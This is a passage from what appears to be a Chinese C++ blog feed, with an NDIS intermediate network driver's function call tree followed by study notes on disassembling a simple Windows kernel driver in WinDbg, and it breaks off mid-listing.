MPQueryPNPCapabilities<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPSetInformation<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> MPProcessSetPowerOid<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPProcessSetPowerOid<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatus<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatusCompl<wbr>ete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPReturnPacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisGetPoolFromPacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisReturnPackets<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisFreePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPTransferData<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IsIMDeviceStateOn<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisTransferData<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtDeregisterDevice<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisResetEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtDereferenceAdapt<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPCancelSendPackets<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisCancelSendPackets<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPDevicePnPEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPAdapterShutdown<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPFreeAllPacketPools<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisFreePacketPool<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>3，protocol.c<br>&nbsp;<wbr>&nbsp;<wbr> PtBindAdapter<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisOpenProtocolConfigur<wbr>ation<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisReadConfiguration<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisAllocateMemoryWithTa<wbr>g<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisInitializeEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisAllocatePacketPoolEx<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisOpenAdapter<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisWaitEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtReferenceAdapt<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisInitializeEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMInitializeDeviceIn<wbr>stanceEx<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtDereferenceAdapt<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisCloseConfiguration<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisCloseAdapter<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtOpenAdapterComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisSetEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtUnbindAdapter<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtRequestComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMCancelInitializeDe<wbr>viceInstance<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisWaitEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMDeInitializeDevice<wbr>Instance<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisResetEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisCloseAdapter<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisWaitEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> MPFreeAllPacketPools&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtUnloadProtocol<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisDeregisterProtocol<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IoDeleteDevice<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtCloseAdapterComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisSetEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtResetComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtRequestComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMQueryInformationCom<wbr>plete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMSetInformationCompl<wbr>ete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtStatus<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatus<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtStatusComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatusCompl<wbr>ete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtSendComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisGetPoolFromPacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMSendComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisDprFreePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtTransferDataComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMTransferDataComplet<wbr>e<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtReceive<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisGetReceivedPacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisDprAllocatePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateReceivePack<wbr>et<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisDprFreePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMEthIndicateReceive<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMTrIndicateReceive<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMFddiIndicateReceive<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtReceiveComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> KeGetCurrentProcessorNum<wbr>ber<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMTrIndicateReceiveCo<wbr>mplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMFddiIndicateReceive<wbr>Complete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtReceivePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMGetCurrentPacketSt<wbr>ack<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateReceivePack<wbr>et<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisDprFreePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtPNPHandler<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtPnPNetEventSetPower<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtPnPNetEventReconfigure<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMNotifyPnPEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtPnPNetEventReconfigure<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisReEnumerateProtocolB<wbr>indings<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMNotifyPnPEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtPnPNetEventSetPower<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMNotifyPnPEvent<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtRequestComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisPacketPoolUsage<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisRequest<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtRequestComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtReferenceAdapt<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> MPFreeAllPacketPools<br><wbr><wbr><wbr><wbr><br><wbr><wbr><wbr><wbr><br><wbr><br></p>
<img src ="http://www.cppblog.com/iniwf/aggbug/112927.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-18 19:26 <a href="http://www.cppblog.com/iniwf/archive/2010/04/18/112927.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核反编译学习笔记5</title><link>http://www.cppblog.com/iniwf/archive/2010/04/18/112926.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 18 Apr 2010 11:25:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/18/112926.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/112926.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/18/112926.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/112926.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/112926.html</trackback:ping><description><![CDATA[<p>其实这是以前内容的复习，另外再通过dt 数据来获取结构和偏移量，手工在windbg中查看信息</p>
<p>程序：bz6</p>
<p>以前的驱动程序简直毫无驱动的样子，现在用个稍微健全的例子：</p>
<p>NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)<br>{<br>&nbsp;<wbr>NTSTATUS status;<br>&nbsp;<wbr><br>#if DBG<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> _asm int 3<br>#endif</p>
<p>&nbsp;<wbr>driver-&gt;DriverUnload = DriverUnload;<br>&nbsp;<wbr><br>&nbsp;<wbr>status = CreateDevice(driver);<br>&nbsp;<wbr><br>&nbsp;<wbr>Dump(driver);<br>&nbsp;<wbr><br>&nbsp;<wbr>return status;<br>}</p>
<p>CreateDevice(driver)是自定义函数，用来真正建立一个驱动设备。返回一个status，猜猜看，我们能不能在eax中读取返回值。</p>
<p>反汇编先：<br>kd&gt; uf bz6!driverentry<br>bz6!DriverEntry [d:\mydriver\bz6\bz6.c @ 110]:<br>&nbsp;<wbr> 110 f8428680 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr> 110 f8428682 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr> 110 f8428683 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr> 110 f8428685 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr> 114 f8428686 cc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> int&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 3<br>&nbsp;<wbr> 121 f8428687 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr> 121 f842868a c74034d08442f8&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [eax+34h],offset bz6!DriverUnload (f84284d0)<br>&nbsp;<wbr> 123 f8428691 8b4d08&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp+8]<br>&nbsp;<wbr> 123 f8428694 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr> 123 f8428695 e876fdffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!CreateDevice (f8428410)<br>&nbsp;<wbr> 123 f842869a 8945fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],eax<br>&nbsp;<wbr> 125 f842869d 8b5508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp+8]<br>&nbsp;<wbr> 125 f84286a0 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr> 125 f84286a1 e8aafeffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!Dump (f8428550)<br>&nbsp;<wbr> 127 f84286a6 8b45fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-4]<br>&nbsp;<wbr> 128 f84286a9 8be5&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,ebp<br>&nbsp;<wbr> 128 f84286ab 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr> 128 f84286ac c20800&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8</p>
<p>我们在源程序或Disassembly窗口在调用处F9下断，按g运行：</p>
<p>kd&gt; g<br>Breakpoint 0 hit<br>bz6!DriverEntry+0x15:<br>f8428695 e876fdffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!CreateDevice (f8428410)<br>kd&gt; d eax<br>81e64f38&nbsp;<wbr> 04 00 a8 00 00 00 00 00-02 00 00 00 00 80 42 f8&nbsp;<wbr> ..............B.<br>81e64f48&nbsp;<wbr> 00 0c 00 00 b8 f3 d5 81-e0 4f e6 81 16 00 16 00</p>
<p>没错，返回值是04。</p>
<p>Dump(driver)是显示driver和device的一个函数，里面有个循环。<br>我们看看非玩具状态（呵呵，以前的函数毫无实用价值）下反汇编以后是什么样子。</p>
<p>void Dump(IN PDRIVER_OBJECT&nbsp;<wbr>pDriverObject)<br>{<br>&nbsp;<wbr>ULONG i=1;<br>&nbsp;<wbr>PDEVICE_OBJECT pDevice = pDriverObject-&gt;DeviceObject;<br>&nbsp;<wbr>KdPrint(("----------------------------------------------\n"));<br>&nbsp;<wbr>KdPrint(("Begin Dump...\n"));<br>&nbsp;<wbr>KdPrint(("Driver Address:0X%08X\n",pDriverObject));<br>&nbsp;<wbr>KdPrint(("Driver name:%wZ\n",&amp;pDriverObject-&gt;DriverName));<br>&nbsp;<wbr>KdPrint(("Driver HardwareDatabase:%wZ\n",pDriverObject-&gt;HardwareDatabase));<br>&nbsp;<wbr>KdPrint(("Driver first device:0X%08X\n",pDriverObject-&gt;DeviceObject));<br>&nbsp;<wbr><br>&nbsp;<wbr><br>&nbsp;<wbr><br>&nbsp;<wbr>for (;pDevice!=NULL;pDevice = pDevice-&gt;NextDevice)<br>&nbsp;<wbr>{<br>&nbsp;<wbr>&nbsp;<wbr>KdPrint(("The %d device\n",i++));<br>&nbsp;<wbr>&nbsp;<wbr>KdPrint(("Device AttachedDevice:0X%08X\n",pDevice-&gt;AttachedDevice));<br>&nbsp;<wbr>&nbsp;<wbr>KdPrint(("Device NextDevice:0X%08X\n",pDevice-&gt;NextDevice));<br>&nbsp;<wbr>&nbsp;<wbr>KdPrint(("Device StackSize:%d\n",pDevice-&gt;StackSize));<br>&nbsp;<wbr>&nbsp;<wbr>KdPrint(("Device's DriverObject:0X%08X\n",pDevice-&gt;DriverObject));<br>&nbsp;<wbr>}<br>&nbsp;<wbr><br>&nbsp;<wbr>KdPrint(("Dump over!\n"));<br>&nbsp;<wbr>KdPrint(("----------------------------------------------\n"));<br>}</p>
<p>////////////////////////////////////<br>反汇编：<br>kd&gt; uf bz6!dump<br>bz6!Dump [d:\mydriver\bz6\bz6.c @ 82]:<br>&nbsp;<wbr>&nbsp;<wbr> 82 f8428550 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr> 82 f8428552 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 82 f8428553 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr> 82 f8428555 83ec0c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> sub&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,0Ch<br>&nbsp;<wbr>&nbsp;<wbr> 83 f8428558 c745f801000000&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-8],1<br>&nbsp;<wbr>&nbsp;<wbr> 84 f842855f 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 84 f8428562 8b4804&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [eax+4]<br>&nbsp;<wbr>&nbsp;<wbr> 84 f8428565 894dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],ecx<br>&nbsp;<wbr>&nbsp;<wbr> 85 f8428568 68608842f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428860)<br>&nbsp;<wbr>&nbsp;<wbr> 85 f842856d e842010000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 85 f8428572 83c404&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,4<br>&nbsp;<wbr>&nbsp;<wbr> 86 f8428575 68508842f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz6! ?? ::FNODOBFM::`string' (f8428850)<br>&nbsp;<wbr>&nbsp;<wbr> 86 f842857a e835010000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz6!DbgPrint (f84286b4)<br>&nbsp;<wbr>&nbsp;<wbr> 86 f842857f 83c404&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,4<br>&nbsp;<wbr>&nbsp;<wbr> 87 f8428582 8b5508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 